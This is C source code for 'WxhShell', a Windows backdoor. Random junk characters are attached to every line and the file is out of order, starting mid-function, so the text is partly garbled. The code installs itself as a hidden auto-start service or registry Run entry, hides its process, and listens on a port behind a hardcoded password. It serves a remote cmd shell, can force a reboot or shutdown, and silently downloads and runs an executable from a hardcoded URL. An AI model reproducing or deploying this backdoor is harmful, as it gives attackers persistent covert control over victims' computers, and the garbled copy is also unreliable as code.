    if(Boot(SHUTDOWN)) 1 2y+g5b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1e>$E#  
    else { Y-y<gW  
    closesocket(wsh); 9yWQ}h  
    ExitThread(0); dHJ#xmE!pP  
    } *)0-N!N#)  
    break; J<27w3bs~p  
    } }N`m7PSf  
  // 获取shell [~U CYYl  
  case 's': { 3 6-Sw  
    CmdShell(wsh); TBr@F|RXiO  
    closesocket(wsh); d"~-D;  
    ExitThread(0); {~a+dEz  
    break; 4O1[D? )`x  
  } qpZR-O  
  // 退出 DD^iEhG  
  case 'x': { /j(3 ~%]o4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k*"FMJG_  
    CloseIt(wsh); O$, bNu/g  
    break; M~"93Q`f^  
    } ? ht;ZP  
  // 离开 P(Wr[lH\y  
  case 'q': { x2@W,?oPm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QsC6\Gt#  
    closesocket(wsh);  _7P#?:h  
    WSACleanup(); Y2 QX9RN  
    exit(1); kD{qW=Lpn  
    break; _=ziw|zI  
        } w\(; >e@  
  } V0/O T~gS8  
  } alz2F.%Y  
4pG!m&4]ze  
  // 提示信息 n"dYN3dE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=1Jq  
} Hy| X>Z  
  } $#LR4 [Fq  
}n[<$*W^  
  return; k%2Rv4)hU  
} #dEMjD  
&* 1iW(x  
// shell模块句柄 GAY f.L"  
int CmdShell(SOCKET sock) de$0DfK  
{ ,d~6LXr<fM  
STARTUPINFO si; B kh1VAT  
ZeroMemory(&si,sizeof(si)); Yfjp:hg/!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {(j1#9+9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HI%#S&d  
PROCESS_INFORMATION ProcessInfo; 6E0{(*  
char cmdline[]="cmd"; ie9,ye"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *C"-$WU3o  
  return 0; 8sz|9~  
} BMxe)izT;  
H){lXR/#u  
// 自身启动模式 +x_9IvaW&?  
int StartFromService(void) 29~Bu5  
{ .^aqzA=]  
typedef struct u{d\3-]/  
{ N"Mw1R4  
  DWORD ExitStatus; T]0H&Oov  
  DWORD PebBaseAddress; qG?svt  
  DWORD AffinityMask; ),;O3:n  
  DWORD BasePriority; 8DO3L "  
  ULONG UniqueProcessId; ;[R#:Rk  
  ULONG InheritedFromUniqueProcessId; 8 bpYop7 L  
}   PROCESS_BASIC_INFORMATION; 7f,!xh$  
2SHS!6:Rl  
PROCNTQSIP NtQueryInformationProcess; "GY/2;  
j8 |N;;MN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ka|, qkb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C<u<:4^H  
ObIL  w  
  HANDLE             hProcess; w/UZ6fu  
  PROCESS_BASIC_INFORMATION pbi; J_ y+.p- 5  
nBo?r}t4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); # @~HpqqR  
  if(NULL == hInst ) return 0; qr|v|Ejd~  
@kmOz(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KCc7u8   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @M_p3[c\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "CcdwWM  
>Ndck2@  
  if (!NtQueryInformationProcess) return 0; #cdrobJ  
~;uc@GGo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m2h@*  
  if(!hProcess) return 0; *%;+3SV  
A1uo@W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l:$i}.C  
f tE2@}  
  CloseHandle(hProcess); w0(1o_F7.  
U2TR>0l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Htn''adg5  
if(hProcess==NULL) return 0; i?0+f }5<p  
m&!4*D  
HMODULE hMod; h qT6]*  
char procName[255]; ).D+/D/"2  
unsigned long cbNeeded; :y%CP8  
io{\+%;b~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3d81]!n  
6xq/  
  CloseHandle(hProcess); jSc!"Trl]  
bxR6@  
if(strstr(procName,"services")) return 1; // 以服务启动 BfOQ/k))  
PTZ/j g@71  
  return 0; // 注册表启动 Z?"f#  
} 'PK;Fg\  
|'ML )`c[  
// 主模块 Fx6]x$3  
int StartWxhshell(LPSTR lpCmdLine) \:vHB!2E  
{ @eOD+h'  
  SOCKET wsl; 1 |T{RY5  
BOOL val=TRUE; jPc"qER!  
  int port=0; {Z!x]}{M  
  struct sockaddr_in door; nEgDwJ<wl  
%TUvH>;0  
  if(wscfg.ws_autoins) Install(); M|DVFC  
;FfDi*S7  
port=atoi(lpCmdLine); kACgP!~/1  
sjIUW$  
if(port<=0) port=wscfg.ws_port; .,+TpP kc  
%!X9>i>  
  WSADATA data; [3|&!:4g6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rO3.%B}  
|0N6]%r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CaE1h9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RJhafUJ zH  
  door.sin_family = AF_INET; OPe3p {]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )oAxt70  
  door.sin_port = htons(port); lNRGlTD%  
l\t\DX"s_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -'%>Fon  
closesocket(wsl); F)n^pT  
return 1; g:rjt1w`D  
} F :p9y_W  
=&~7Q"  
  if(listen(wsl,2) == INVALID_SOCKET) { d":GsI?3  
closesocket(wsl); U_[<,JE  
return 1; l2Pry'3  
} aP&bW))CI  
  Wxhshell(wsl); 'L$}!H1y  
  WSACleanup(); qSA]61U&  
l.nd Wv  
return 0; o7i>D6^^  
5x?YFq6k  
} /?*GJN#  
dYxX%"J  
// 以NT服务方式启动 O3KTKL]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1Xn:B_pP  
{ $s]vZ(H  
DWORD   status = 0; ZULnS*V;5  
  DWORD   specificError = 0xfffffff; iO@UzD #v  
RzOcz=A}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tN1xZW:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fPBJ%SZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uu_Es{@  
  serviceStatus.dwWin32ExitCode     = 0; @ Cd#\D|  
  serviceStatus.dwServiceSpecificExitCode = 0; HE|XDcYO  
  serviceStatus.dwCheckPoint       = 0; KBOp}MEz  
  serviceStatus.dwWaitHint       = 0; !*G%vOa  
N(Sc!rX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +oevNM  
  if (hServiceStatusHandle==0) return; H5!e/4iz  
1tIJ'#6  
status = GetLastError(); 4^(aG7  
  if (status!=NO_ERROR) YG_|L[/#  
{ PK).)5sW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d+o.J",E  
    serviceStatus.dwCheckPoint       = 0; C2}f'  
    serviceStatus.dwWaitHint       = 0; H ]z83:Z  
    serviceStatus.dwWin32ExitCode     = status; "K c/Cs2[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ygq;jX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;V0^uB.z  
    return; W"n0x8~sV  
  } K 7 OIT2-  
F87/p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; urhOvC$a  
  serviceStatus.dwCheckPoint       = 0; lW|`8ykp  
  serviceStatus.dwWaitHint       = 0; W+Q^u7K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SxI-pH'  
} kt2W7.A 5  
zI,z<-  
// 处理NT服务事件,比如:启动、停止 572{DC&T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [nASMKK0  
{ m gE r+  
switch(fdwControl) ).3riR  
{ J!\oH%FJp  
case SERVICE_CONTROL_STOP: pf$gvL  
  serviceStatus.dwWin32ExitCode = 0; Z^!% b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fs(FI\^  
  serviceStatus.dwCheckPoint   = 0; 0fzHEL  
  serviceStatus.dwWaitHint     = 0; y|/[;  
  { 1I?`3N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2h:{6Gq8  
  } ey@ccc*sZ9  
  return; ]{| wU.  
case SERVICE_CONTROL_PAUSE: |/;;uK,y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PH$C."Vv  
  break; U'aJCM  
case SERVICE_CONTROL_CONTINUE: VVJIJ9L&C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9? y&/D5O  
  break; H <9_BA?  
case SERVICE_CONTROL_INTERROGATE: H~ E<ek'~  
  break; %<0'xJ%%Q  
}; [\3W_jR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J9-n3o  
} X;]I jha<*  
\q@Co42n\  
// 标准应用程序主函数 gA}?X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zfw=U \  
{ qV0GpVJZU?  
wxo*\WLe  
// 获取操作系统版本 [vqf hpz  
OsIsNt=GetOsVer(); ;ObrBN,Fu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F0kdwN4;  
k+BY3a  
  // 从命令行安装 ]P/i}R:  
  if(strpbrk(lpCmdLine,"iI")) Install(); #>M^BOR8  
xz Hb+1+p  
  // 下载执行文件 [/o B jiBA  
if(wscfg.ws_downexe) { 8]mRX~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B$M4f7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6UI6E)g  
} A0,h 7<i  
a<J< Oc!  
if(!OsIsNt) { iPdS>e e  
// 如果时win9x,隐藏进程并且设置为注册表启动 lAR1gHhJ  
HideProc(); Kr?<7vMT5  
StartWxhshell(lpCmdLine); ~BiLzT1,  
} Gz52^O :  
else U+R9bn   
  if(StartFromService()) "U!Vdt2vp  
  // 以服务方式启动 =~k}XB  
  StartServiceCtrlDispatcher(DispatchTable); #(QS5J&Qq  
else +Sc2'z>R  
  // 普通方式启动 NL,6<ZOon,  
  StartWxhshell(lpCmdLine); ++n_$Qug  
xR8y"CpE  
return 0; ~ mzX1[  
} =h xyR;  
#jJ0Mxg  
ZUD{V  
P?^%i  
=========================================== *j( UAVp  
b;FaTm@  
}@"v7X $  
v"o_V|  
`=S%!akj  
x2TE[#><  
" |8tKN"QG  
=YIosmr  
#include <stdio.h> YYL3a=;`a  
#include <string.h> E 6+ ooB[  
#include <windows.h> P%ThW9^vnj  
#include <winsock2.h> >;lrH&  
#include <winsvc.h> &c}2[=  
#include <urlmon.h> PjofW%7F  
|qVM`,%L  
#pragma comment (lib, "Ws2_32.lib") =KAN|5yn  
#pragma comment (lib, "urlmon.lib") ?D|kCw69SE  
* =*\w\ te  
#define MAX_USER   100 // 最大客户端连接数 L1WvX6  
#define BUF_SOCK   200 // sock buffer *pDS%,$xe  
#define KEY_BUFF   255 // 输入 buffer p( )LQT!  
!L( )3=  
#define REBOOT     0   // 重启 k{O bm g  
#define SHUTDOWN   1   // 关机 /;vHAtt;f  
-BSO$'{7  
#define DEF_PORT   5000 // 监听端口 b6xz\zCL  
K:A:3~I!NW  
#define REG_LEN     16   // 注册表键长度 9kwiG7V1  
#define SVC_LEN     80   // NT服务名长度 Nv|0Z'M  
f|ERZN`uB  
// 从dll定义API \GV'{W+o2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;O|u`fAqT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rn`DUYg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9R">l5u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n1aOpz6`  
dd6%3L{cn  
// wxhshell配置信息 \%B7M]P  
struct WSCFG { tt CC] Q  
  int ws_port;         // 监听端口 r&ys?@+G  
  char ws_passstr[REG_LEN]; // 口令 VoQhzp6&  
  int ws_autoins;       // 安装标记, 1=yes 0=no ty:{e]e  
  char ws_regname[REG_LEN]; // 注册表键名 =f23lA  
  char ws_svcname[REG_LEN]; // 服务名 JNT|h zV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z`eMb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GXk |p8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uH(M@7"6_!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |Qb@.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \%9QE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 acgx')!c  
E^A!k=>  
}; >vR2K^  
6$kh5$[  
// default Wxhshell configuration q: X^V$`  
struct WSCFG wscfg={DEF_PORT, 3[m2F O,Z  
    "xuhuanlingzhe", =GW[UnO  
    1, lon9oraF'  
    "Wxhshell", -r]L MQ  
    "Wxhshell", |lk:(~DM  
            "WxhShell Service", a]Y9;(  
    "Wrsky Windows CmdShell Service", 2<@g *  
    "Please Input Your Password: ",  -PU.Uw]  
  1, gyPwNE  
  "http://www.wrsky.com/wxhshell.exe", -%Ce  
  "Wxhshell.exe" =d iGuI B  
    }; rg=Ym.  
K`j:F>b  
// 消息定义模块 $~j9{*]5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IxG7eX!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )/Gi-::  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O<$j}?2  
char *msg_ws_ext="\n\rExit."; =q|//*t2  
char *msg_ws_end="\n\rQuit."; ; xQhq*  
char *msg_ws_boot="\n\rReboot..."; n ywC]T  
char *msg_ws_poff="\n\rShutdown..."; ep0dT3&  
char *msg_ws_down="\n\rSave to "; <r(D\rmD  
:6&#u.\u  
char *msg_ws_err="\n\rErr!"; AX'-}5T=  
char *msg_ws_ok="\n\rOK!"; L "'d(MD  
X<pNc6  
char ExeFile[MAX_PATH]; 5sj$XA?5  
int nUser = 0; =;F7h @:  
HANDLE handles[MAX_USER]; FD~ U F;VQ  
int OsIsNt; s,pg4nst56  
NxDVU?@p*  
SERVICE_STATUS       serviceStatus; 3lEP:Jp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aT+w6{%Z  
/d/]#T[Z9  
// 函数声明 ksJ 1:_  
int Install(void); ImD&~^-_<  
int Uninstall(void); 'NCx<0*  
int DownloadFile(char *sURL, SOCKET wsh); VR%*8=  
int Boot(int flag); ,rF!o_7  
void HideProc(void); G:wO1f6  
int GetOsVer(void); 3OY(L`  
int Wxhshell(SOCKET wsl); &}|`h8JA]K  
void TalkWithClient(void *cs); J\p-5[E  
int CmdShell(SOCKET sock); B/^o$i  
int StartFromService(void); H0yM`7[y  
int StartWxhshell(LPSTR lpCmdLine); e 'F:LMX  
sY?wQ:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rx@i .+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !, rF(pz  
U[OUIXUi  
// 数据结构和表定义 8<32(D{  
SERVICE_TABLE_ENTRY DispatchTable[] = E1`_[=8a9  
{ R~|(]#com  
{wscfg.ws_svcname, NTServiceMain}, ${}9/(x/^  
{NULL, NULL} qn,fx6v4  
}; +x/vZXtOK  
>6@,L+-6r  
// 自我安装 &3x da1H  
int Install(void) ?^^TR/  
{ uq7/G|  
  char svExeFile[MAX_PATH]; ^#K^WV  
  HKEY key; skTtGz8R[  
  strcpy(svExeFile,ExeFile); .7:ecFKk  
R9D2cu,{  
// 如果是win9x系统,修改注册表设为自启动 :S7[<SwL  
if(!OsIsNt) { 57]La^#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X?JtEQ~>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p,uM)LD  
  RegCloseKey(key); Q`4I a<5B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }W[=O:p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h|i b*%P_  
  RegCloseKey(key); rOj(THoc{  
  return 0; AAKc8 {  
    } ,^ dpn  
  } \" m&WFm  
} Nez '1  
else { x{GFCy7  
so| U&`G  
// 如果是NT以上系统,安装为系统服务 <X5ge>.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G `B=:s]  
if (schSCManager!=0) $2blF)uYE  
{ u6IM~kk>5  
  SC_HANDLE schService = CreateService a40>_;}:x  
  ( ae2SU4Jx  
  schSCManager, Z:V<P,N  
  wscfg.ws_svcname, $ 9E"{6;@  
  wscfg.ws_svcdisp, hx/A215L  
  SERVICE_ALL_ACCESS, b^()[4M;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PL!dkaD^y>  
  SERVICE_AUTO_START, =4U$9jo!;  
  SERVICE_ERROR_NORMAL, CyB4apJ  
  svExeFile, <1:I[b  
  NULL, {i3=N{5b  
  NULL, ] \!,yiVeU  
  NULL, #e[r0f?U  
  NULL, i }Zz[b  
  NULL r(_Fr#Qn  
  ); * kUb[  
  if (schService!=0) 5lM 3In@  
  { d-W*`:Q  
  CloseServiceHandle(schService); TIaiJvo  
  CloseServiceHandle(schSCManager); n!lE|if  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qv;b$by3  
  strcat(svExeFile,wscfg.ws_svcname); %.Kr`#lCr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3/(eK%d4Xb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &_j<! 3*  
  RegCloseKey(key); nLPd]%78>  
  return 0; 322-'S3<  
    } w vI v+Q9  
  } ed3wj3@  
  CloseServiceHandle(schSCManager); %\)AT"  
} }g|9P SbJ  
} / T_v8 {D  
O`N,aYo  
return 1; EaH/Gg3  
} [D?d~pB  
/rK/ l  
// 自我卸载 g0s4ZI+T  
int Uninstall(void) wqap~X  
{ S@~ReRew2  
  HKEY key; f}ch1u>  
fjuPGg~  
if(!OsIsNt) { *#@{&Q(Qh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,:V[H8 ?  
  RegDeleteValue(key,wscfg.ws_regname); 1:./f|m  
  RegCloseKey(key); I?%#`Rvu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +@7c:CAy(  
  RegDeleteValue(key,wscfg.ws_regname); B)0;gWK  
  RegCloseKey(key); ,W/Y@ScC  
  return 0; /len8FRf  
  } beV+3HqB8  
} DiZv sc  
} #!_ViG )2^  
else { <KStl fX  
d`j<Bbf-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r?pFc3 ~N  
if (schSCManager!=0) Z-" NLwt[  
{ iuM ,a F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rsw= a_S  
  if (schService!=0) x8wsx F  
  { w^7[4u4  
  if(DeleteService(schService)!=0) { X76rme  
  CloseServiceHandle(schService); 1 .o0"  
  CloseServiceHandle(schSCManager); sqRvnCD!  
  return 0; ,ZO?D|M1  
  } XB:E<I'q!3  
  CloseServiceHandle(schService); 4s"x}c">F  
  } 89P7iSV#*  
  CloseServiceHandle(schSCManager); 0 U#m7j  
} 9o]!D,u8=5  
} =vDDfPR  
`}a-prT<f  
return 1; u%OLXb  
} gh `_{l  
ofgNL .u  
// 从指定url下载文件 Y 7?q `  
int DownloadFile(char *sURL, SOCKET wsh) o0dD  
{ (&_^1  
  HRESULT hr; YhN:t?  
char seps[]= "/"; a'*~E ?b  
char *token; whGtVx|zR  
char *file; SK*<H~2  
char myURL[MAX_PATH]; P$@:T[}v  
char myFILE[MAX_PATH]; 3q6FV7Fv&b  
9c5DEq  
strcpy(myURL,sURL); Fa{[kJ8z  
  token=strtok(myURL,seps); !QME!c>*$  
  while(token!=NULL) {"rL3Lk  
  { GK3cQw  
    file=token; :01B)~^  
  token=strtok(NULL,seps); @Yw42`> !s  
  } e{^lD.E  
'?3(&  
GetCurrentDirectory(MAX_PATH,myFILE); y7'9KQ  
strcat(myFILE, "\\"); 1.Neg|  
strcat(myFILE, file); {Wr5F9q  
  send(wsh,myFILE,strlen(myFILE),0); ItZ*$I1<  
send(wsh,"...",3,0); gXY]NWI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SR<W3a\  
  if(hr==S_OK) tU>7 jo[-p  
return 0; Oz "_KMz  
else R[QBFL<  
return 1; '=Acg"aT  
tQTjqy{K  
} #;;A~d:V  
':f,RG  
// 系统电源模块 Ypinbej  
int Boot(int flag) { / ,?3  
{ oTTE<Ct [  
  HANDLE hToken; $"6Gv  
  TOKEN_PRIVILEGES tkp; 3,Iu!KB  
Odw9]`,T  
  if(OsIsNt) { }1.'2.<Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~;t/VsgGW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O6">Io5  
    tkp.PrivilegeCount = 1; X2YBZA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )vY)Mg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  / w[Tu  
if(flag==REBOOT) { yEkwdx5!(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^pqJz^PO.  
  return 0; Q4g69IE  
} Y+0GJuBf  
else { hANe$10=H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :8]y*j  
  return 0; KvO5-g  
} zkd^5A; `  
  } =yPV9#(I/  
  else { I`x[1%y2 F  
if(flag==REBOOT) { s+h}O}RV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L}K8cB  
  return 0; sdN1BV2  
} o76{;Bl\O  
else { iUZV-jl2/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =i},$"Bf*%  
  return 0; | _nBiHjNn  
} TrQUhmS/!  
} ~CHVU3  
*De'4r 2  
return 1; p ^)3p5w  
} q-/t?m0  
t"vkd  
// win9x进程隐藏模块 w=5<mw  
void HideProc(void) mgb+HNH%q\  
{ h:KEhj\d?  
!bCaDTz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h&rZR`g  
  if ( hKernel != NULL ) Q9&H/]"v  
  { z00,Vr^m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {=;<1PykLb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4v9d& m!<  
    FreeLibrary(hKernel); s|k&@jH)  
  } n(sseQ|\  
)G*xI`(@  
return; 1I40N[PE)  
} bYr*rEcA  
F'T.-lEO_d  
// 获取操作系统版本 X3?RwN:P  
int GetOsVer(void) Zb:Z,O(vn  
{ D[Q/:_2l  
  OSVERSIONINFO winfo; 2G_]Y8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MHA_b^7?  
  GetVersionEx(&winfo); \p^'[B(O77  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K87yQOjPv  
  return 1; F?qg?1v B|  
  else s(r4m/  
  return 0; Q(x/&]7=V  
} 0g#xQzE  
Y+5aT(6O  
// 客户端句柄模块 bGxHzzU}  
int Wxhshell(SOCKET wsl) D&qJ@PR  
{ oqzWL~  
  SOCKET wsh; pnXwE-c_  
  struct sockaddr_in client; rE0%R+4?  
  DWORD myID; 5kojh _\  
wVX2.D'n<  
  while(nUser<MAX_USER) r;+a%?P  
{ AHHV\r  
  int nSize=sizeof(client); 'X`W+=T$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,hm&]  
  if(wsh==INVALID_SOCKET) return 1; as@? Kv  
%AmyT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DVDzYR**4  
if(handles[nUser]==0) $)d34JM  
  closesocket(wsh); Mh {>#Gs  
else Eqh*"hE7  
  nUser++; T wzpq1  
  } ;d FJqo82  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tq51;L  
LjIkZ'HuF  
  return 0; D0>Pc9  
} #$F*.vQSs+  
kdaq_O:s  
// 关闭 socket )KGz -!1c  
void CloseIt(SOCKET wsh) 1MmEP  
{ Qj$w7*U  
closesocket(wsh); wJ"]H!r0  
nUser--; 4um^7Ns)7  
ExitThread(0); 3eB)X2~   
} ?]o(cz  
L\V`ou  
// 客户端请求句柄 - FJLM  
void TalkWithClient(void *cs) 9SJSUv:@  
{ rK|("  
U*,\UF  
  SOCKET wsh=(SOCKET)cs; d]MpE9@'v  
  char pwd[SVC_LEN]; C~C`K%7  
  char cmd[KEY_BUFF]; X,{[R |  
char chr[1]; Av4(=}M}@  
int i,j; ) $0>L5d:  
mu5r4W47  
  while (nUser < MAX_USER) { Ty#sY'%  
WdB\n/BWB  
if(wscfg.ws_passstr) { Ey=}bBx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X~SNkM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JpxQS~VX  
  //ZeroMemory(pwd,KEY_BUFF); GRaU]Z]ck  
      i=0; g's!\kr  
  while(i<SVC_LEN) { ~Yc!~Rz  
D4uAwmc  
  // 设置超时  V^rL  
  fd_set FdRead; [B+:)i  
  struct timeval TimeOut; c2?VjuB0  
  FD_ZERO(&FdRead); y~su1wUp  
  FD_SET(wsh,&FdRead); G6+6u Wvl  
  TimeOut.tv_sec=8; )PW|RW  
  TimeOut.tv_usec=0; EY:H\4)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p}5413z5Z=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SpYmgL?wJ  
@;N(3| n7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i% , 't  
  pwd=chr[0]; xLfv:Rp  
  if(chr[0]==0xd || chr[0]==0xa) { K\59vtga  
  pwd=0; R1eWPtWs  
  break; z^s\&gix  
  } USS%T<Vk  
  i++; X *:,|  
    } WW2hwB (  
i0J`{PbI  
  // 如果是非法用户,关闭 socket %wI)uJ2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;8^(Z  
} u?H.Z  
U3` ?Z`i(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Eggu-i(rD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pn6~66a6  
%(W8W Lz}  
while(1) { L u'<4 R  
B*w]yL(  
  ZeroMemory(cmd,KEY_BUFF); ),[@NK&=  
`xx3JQv[  
      // 自动支持客户端 telnet标准   &]shBvzl^  
  j=0; (E,Ibz2G:e  
  while(j<KEY_BUFF) { 7upWM~H^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yz5! >|EB  
  cmd[j]=chr[0]; : @eHV=|+>  
  if(chr[0]==0xa || chr[0]==0xd) { )xKW  
  cmd[j]=0; +r9neS.l  
  break; Y*\N{6$2  
  } f=u +G  
  j++; E!BzE_|i  
    } I)s_f5'  
EU04U  
  // 下载文件 3^xq+{\)  
  if(strstr(cmd,"http://")) { +l.LwA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cc:$$_'L  
  if(DownloadFile(cmd,wsh)) < (B|g&A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #S x  
  else ]!~?j3-k Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q'JK *.l  
  } #TO^x&3@  
  else { kytHOn#  
C'R6mz%Q?  
    switch(cmd[0]) { |0?v4%g  
  2eA.04F  
  // 帮助 3D1y^I  
  case '?': { ts}OE  
